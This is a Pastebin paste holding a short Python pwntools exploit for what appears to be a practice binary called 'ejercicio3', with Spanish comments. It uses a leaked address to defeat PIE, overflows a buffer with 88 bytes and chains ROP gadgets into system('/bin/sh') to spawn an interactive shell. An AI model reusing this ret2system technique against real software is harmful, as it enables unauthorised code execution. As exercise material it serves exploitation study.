Advertisement
Templario_7777

Ex_3

May 9th, 2022
830
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.84 KB | None | 0 0
  1. #/usr/bin/python3
  2. from pwn import *
  3.  
  4. fileName = "./ejercicio3"
  5. e = ELF(fileName) #Checksec ejercicio1
  6.  
  7. gdbs = '''
  8.         b vuln
  9.  
  10.         '''
  11.  
  12. p = process(fileName) # proceeso sin debug GDB
  13.  
  14. #p = gdb.debug(fileName, gdbscript = gdbs) #Proceso con Debug GDB enviando un continue
  15.  
  16. p.recvuntil(b"donde estoy :")
  17. leak = p.recvline().split(b"\n")
  18. leak = int(leak[0],16)
  19.  
  20. offset = leak - 0x11c9
  21.  
  22. vuln = offset + 0x11e8
  23. usame = offset + 0x11c9
  24. system = offset + 0x10a0
  25. ret = offset + 0x101a
  26. poprdi = offset + 0x1303
  27. sh = offset + 0x201a
  28. #print (hex(leak))
  29. #print (hex(vuln))
  30.  
  31. #print(hex(e.got.usame))
  32. #print (hex(leak))
  33.  
  34.  
  35. payload = b'A' * 88 # igual a \x41
  36. payload += p64(ret)
  37. payload += p64(poprdi)
  38. #payload += p64(usame)
  39. payload += p64(sh)
  40. payload += p64(system)
  41.  
  42.  
  43.  
  44.  
  45. #print(p.recvuntil(b"1c9"))
  46. p.sendline(payload)
  47.  
  48. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement